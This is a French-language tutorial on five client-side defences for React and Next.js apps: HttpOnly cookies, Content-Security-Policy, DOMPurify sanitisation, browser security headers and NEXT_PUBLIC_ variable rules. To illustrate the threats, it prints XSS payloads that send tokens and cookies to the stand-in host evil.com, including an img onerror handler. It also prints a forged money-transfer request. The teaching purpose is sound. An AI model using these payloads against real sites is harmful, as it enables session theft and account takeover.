Accueil / Articles

Cinq défenses de sécurité côté client dont chaque application React et Next.js a besoin

Pourquoi les applications React et Next.js en production utilisent des cookies HttpOnly, un CSP, DOMPurify, des en-têtes de sécurité et les règles NEXT_PUBLIC_, ainsi quels types d’attaques chacun d’eux bloque.

Éditeur : REACTAPP.TOP8 min de lecture1873 mots

Sources: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

Il est facile de considérer la sécurité comme une responsabilité du backend, pourtant de nombreuses vulnérabilités graves, allant des sessions volées aux clés API divulguées, ont leur origine dans le code client. Les bases de code React et Next.js en environnement de production contiennent des éléments qui semblent inutiles au premier abord : des cookies HttpOnly, des en-têtes étranges dans next.config.js, le module DOMPurify, des variables NEXT_PUBLIC_, ainsi qu’une politique de sécurité du contenu. Ce guide explique les cinq éléments les plus importants, les attaques qu’ils bloquent et les précautions à respecter pour les appliquer correctement.

1. Éloigner les tokens d’authentification du JavaScript grâce aux cookies HttpOnly

Le stockage des tokens est probablement la décision de sécurité la plus cruciale dans un frontend. Une approche courante consiste à enregistrer le token dans localStorage :

localStorage.setItem("token", token);

et à l’associer manuellement à chaque requête :

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

Cela fonctionne, mais cela permet à n’importe quel script exécuté sur la page de lire le token.

Comment XSS se transforme en prise de contrôle du compte

Le scripting entre sites (XSS) signifie qu’un attaquant parvient à faire exécuter son JavaScript sur votre site. Un point d’entrée typique est l’affichage d’HTML non fiable, comme un commentaire d’utilisateur :

<div dangerouslySetInnerHTML={{ __html: comment }} />

Si l’attaquant peut faire exécuter le script, lire le jeton ne nécessite qu’une seule ligne de code :

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

Stricto sensu, une balise script insérée via innerHTML (utilisé par dangerouslySetInnerHTML) ne s’exécute pas ; les vraies attaques utilisent des charges utiles de gestion d’événements comme celle décrite à la section 3. Quoi qu’il en soit, une fois le script exécuté, localStorage devient entièrement accessible.

Toute personne détenant un jeton porteur peut se connecter sans avoir besoin du mot de passe, accéder au compte, se faire passer pour l’utilisateur, effectuer des transactions ou accéder aux fonctionnalités administratives.

Laissez le navigateur gérer la session

La solution standard consiste à faire en sorte que le serveur génère la session dans un cookie inaccessible aux scripts :

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

Chaque attribut a une fonction spécifique :

  • HttpOnly cache le cookie du JavaScript : sa lecture depuis un script, comme indiqué ci-dessous, ne permettra pas de l’obtenir.
  • Secure restreint l’utilisation du cookie au protocole HTTPS.
  • SameSite=Strict empêche le navigateur d’envoyer le cookie dans les requêtes provenant d’autres sites, ce qui constitue une protection efficace contre la falsification de requêtes entre sites (CSRF). Le mode Strict supprime également le cookie lorsque les utilisateurs arrivent via des liens provenant d’autres sites, c’est pourquoi de nombreuses applications choisissent Lax.
document.cookie

Il s’agit d’un changement de responsabilité. Auparavant, c’était le frontend qui contrôlait le jeton :

Frontend controls token

Aujourd’hui, c’est le navigateur qui s’en charge :

Browser controls token

Votre code ne génère plus d’en-tête de ce type à chaque appel :

Authorization: Bearer token

car le navigateur ajoute automatiquement le cookie. Les identifiants ne passent jamais par le code de l’application. Pour la partie serveur, consultez notre comparaison des sessions et JWTs dans Node.js.

2. Empêcher l’exécution des scripts injectés grâce à une politique de sécurité du contenu

Une défense souvent négligée est l’en-tête nommé

Content-Security-Policy

que les projets Next.js configurent fréquemment en

next.config.js

Pourquoi les cookies HttpOnly ne suffisent pas

Supposons qu’un attaquant parvienne à injecter un script externe :

<script src="https://evil.com/hack.js"></script>

Par défaut, le navigateur l’exécute. L’attaquant ne peut pas lire le cookie, mais il n’en a pas besoin : le script s’exécute au sein de votre domaine, de sorte que ses requêtes transmettent automatiquement les cookies de l’utilisateur :

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

Le serveur backend perçoit une demande authentifiée et traite le transfert. Ce même point d’entrée permet d’autres attaques :

  • Messages de connexion falsifiés. Le script affiche une boîte de dialogue ayant l’air officielle, comme indiqué ci-dessous, et tout ce que l’utilisateur tape est envoyé à l’attaquant.
  • Réorientations forcées. Les utilisateurs sont silencieusement dirigés vers un site de phishing qui imite le vôtre.
"Session expired. Enter password again."

Liste blanche pour le code exécutable

Content-Security-Policy:
script-src 'self'

'self' signifie que seuls les scripts provenant de votre propre origine sont autorisés. Lorsque la page rencontre un script provenant d’un autre domaine, comme celui indiqué ci-dessous, le navigateur refuse de l’exécuter :

<script src="evil.com/hack.js"></script>

Dans Next.js, vous pouvez envoyer l’en-tête pour chaque route via headers() dans la configuration :

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

Considérez ceci comme un point de départ. Une directive simple script-src 'self' bloque également les scripts en ligne que Next.js utilise pour l’hydratation ; par conséquent, une politique stricte nécessite généralement des tokens aléatoires (consultez la documentation actuelle de Next.js pour connaître l’approche via les middleware). Mettez en place d’abord de nouvelles politiques avec Content-Security-Policy-Report-Only.

Deux niveaux, deux objectifs

Les cookies HttpOnly limitent les dommages causés par XSS ; la politique CSP vise à empêcher complètement l’exécution des scripts. Une protection réelle provient de l’utilisation conjointe des deux.

3. Sanitiser le HTML avant d’utiliser dangerouslySetInnerHTML

React ne prévient l’XSS que sur son chemin de rendu par défaut, où le texte interpolé est échappé :

<p>{content}</p>

Ainsi, si l’API renvoie une chaîne de ce type, React la rend comme texte visible plutôt que de l’exécuter :

<script>alert("hacked")</script>

La solution de secours est

dangerouslySetInnerHTML

et React a inclus délibérément ce mot

dangerously

dans son nom.

Lorsque vous avez réellement besoin de HTML brut

Les blogs, les pages CMS, les sorties Markdown et les éditeurs de texte enrichi doivent tous afficher du HTML. Supposons que le backend renvoie :

<h1>Frontend Security</h1>
<p>Learn React Security</p>

En l’affichant via une interpolation normale :

<p>{content}</p>

les balises s’affichent en tant que texte littéral. En passant à la solution de secours, le contenu est correctement formaté :

<div dangerouslySetInnerHTML={{
  __html: content
}} />

Cela a l’air correct, mais c’est aussi un point d’injection.

Le chargement qui est effectivement exécuté

Un attaquant soumet un marquage de ce type :

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

La source de l’image est délibérément invalide, le chargement échoue, et le gestionnaire onerror exécute le JavaScript de l’attaquant.

Nettoyez-la avec DOMPurify

La solution habituelle consiste à nettoyer le contenu avant sa rendu. Installez la bibliothèque :

npm install dompurify

Importez-la :

import DOMPurify from "dompurify";

et nettoyez le contenu avant de le transmettre à React (dans du code réel, l’appel sanitize et le return doivent se trouver sur des lignes distinctes) :

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify supprime les éléments dangereux tels que les éléments script, les gestionnaires d’événements en ligne comme onerror et onclick, les URLs javascript: dans les liens, ainsi que les iframes injectés, ne laissant que du markup sûr. Sur le serveur, il n’y a pas de DOM de navigateur ; par conséquent, le code rendu côté serveur nécessite une implémentation de DOM comme jsdom ou un nettoyage au moment de l’écriture.

Les includes non fiables incluent votre propre backend

N’ayez jamais confiance dans les données entrantes, même celles provenant de votre propre API ; ces données proviennent généralement d’une source moins fiable :

  • les utilisateurs finaux
  • les panneaux d’administration
  • les éditeurs de CMS
  • les APIs tierces
  • les éditeurs de texte enrichi

4. Les en-têtes de sécurité du navigateur qui comblent les failles discrètes

De nombreuses configurations en production définissent une série d’en-têtes facilement négligés :

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

Chacun d’eux bloque un type d’attaque différent.

X-Frame-Options contre le clickjacking

Un attaquant crée une page sur son propre domaine :

evil.com

et charge votre site à l’intérieur d’un iframe invisible par-dessus. L’utilisateur croit qu’il clique

Claim Prize

mais le clic atteint en réalité votre vrai bouton en dessous :

Transfer ₹50,000

C’est ce qu’on appelle le clickjacking. La solution consiste à interdire le framing :

X-Frame-Options: DENY

Le navigateur refuse alors de mettre vos pages dans un cadre. L’équivalent moderne du CSP est frame-ancestors 'none' ; en définissant les deux, on couvre également les anciens navigateurs.

Strict-Transport-Security pour forcer HTTPS

Sur des réseaux non fiables tels que le Wi-Fi public, le trafic HTTP brut peut être intercepté, exposant des mots de passe, des données de session, des codes uniques et d’autres informations privées. HSTS indique au navigateur d’utiliser uniquement HTTPS :

Strict-Transport-Security:
max-age=31536000

Dès qu’un navigateur a vu cette en-tête, même une adresse saisie manuellement comme

http://example.com

est automatiquement mise à niveau en

https://example.com

avant que toute demande ne quitte l’appareil. La valeur de max-age est d’un an. Le navigateur ne prend connaissance de cette règle que via HTTPS, donc une première visite reste non protégée à moins que le domaine ne soit préchargé.

X-Content-Type-Options pour lutter contre le sniffing MIME

Historiquement, les navigateurs ont tenté de deviner le véritable type d’un fichier. Si le serveur déclare

Content-Type: image/jpeg

mais que le fichier contient en réalité du code script, un navigateur qui effectue des analyses peut le traiter comme exécutable. Désactiver ce comportement passe par une en-tête :

X-Content-Type-Options:
nosniff

Celui-ci indique au navigateur de faire confiance au Content-Type déclaré et d’arrêter de deviner.

Définition des trois en-têtes dans Next.js

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

Ces en-têtes coûtent presque rien et éliminent toute une catégorie d’attaques.

5. Séparer les secrets du serveur des variables d’environnement visibles par le navigateur

Ne pas mettre les fichiers .env dans Git ne rend pas les secrets sécurisés. Ce qui compte, c’est ce qui finit dans le bundle JavaScript.

Comment les secrets parviennent au bundle

Prenons une variable comme celle-ci :

SECRET_KEY=abc123

référencée depuis du code côté client :

console.log(
 process.env.SECRET_KEY
);

Lorsqu’un outil de compilation insère des variables d’environnement au moment de la construction, le code généré contient leur valeur littérale :

console.log("abc123");

N’importe qui peut la lire dans les outils de développement. Next.js prévient ce cas accidentel : les variables qui ne possèdent pas le préfixe NEXT_PUBLIC_ ne sont pas insérées dans le code du navigateur et y sont considérées comme undefined. Des fuites de données surviennent lorsque des informations secrètes reçoivent ce préfixe public pour masquer une erreur, ou lorsque un composant serveur les transmet à un composant client en tant que propriété.

Le contrat NEXT_PUBLIC_

Seules les variables dont le nom commence par

NEXT_PUBLIC_

sont intégrées dans la version destinée au navigateur. Une telle valeur peut être exposée sans problème :

NEXT_PUBLIC_API_URL=
https://api.com

et peut être lue dans le code client comme suit :

process.env
.NEXT_PUBLIC_API_URL

car une URL API est de toute façon publique.

Ce qui ne doit jamais être public

Ces éléments doivent rester uniquement sur le serveur :

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

Une configuration de production typique

Le répertoire ne contient aucun fichier .env, car ce dernier est listé dans .gitignore:

.env

Les valeurs réelles sont injectées par le système CI/CD ou la plateforme d’hébergement au moment de la compilation ou du déploiement. Seules les valeurs NEXT_PUBLIC_ atteignent le bundle du navigateur ; tout le reste reste sur le serveur.

Règle à retenir : si le navigateur peut accéder à une valeur, elle est publique. Aucun secret frontend n’est vraiment secret.

Points clés

La sécurité du frontend consiste à réduire progressivement la surface d’attaque et à rendre l’exploitation plus difficile, couche par couche.

  1. Cookies HttpOnly empêchent les scripts injectés d’accéder aux tokens de session.
  2. Une politique de sécurité du contenu empêche l’exécution de scripts non autorisés, mais nécessite des tokens aléatoires pour coexister avec les scripts inline de Next.js.
  • DOMPurify rend dangerouslySetInnerHTML sûr pour du contenu que vous n’avez pas écrit.
  • En-têtes de sécurité bloquent le clickjacking, les dégradations de protocole et l’analyse du MIME avec presque aucun effort.
  • La limite NEXT_PUBLIC_ détermine ce qui est envoyé au navigateur, il faut donc considérer ce préfixe comme une décision de publication.
  • Connaître les attaques que chaque mécanisme empêche vous permet de le configurer correctement et de détecter rapidement son absence.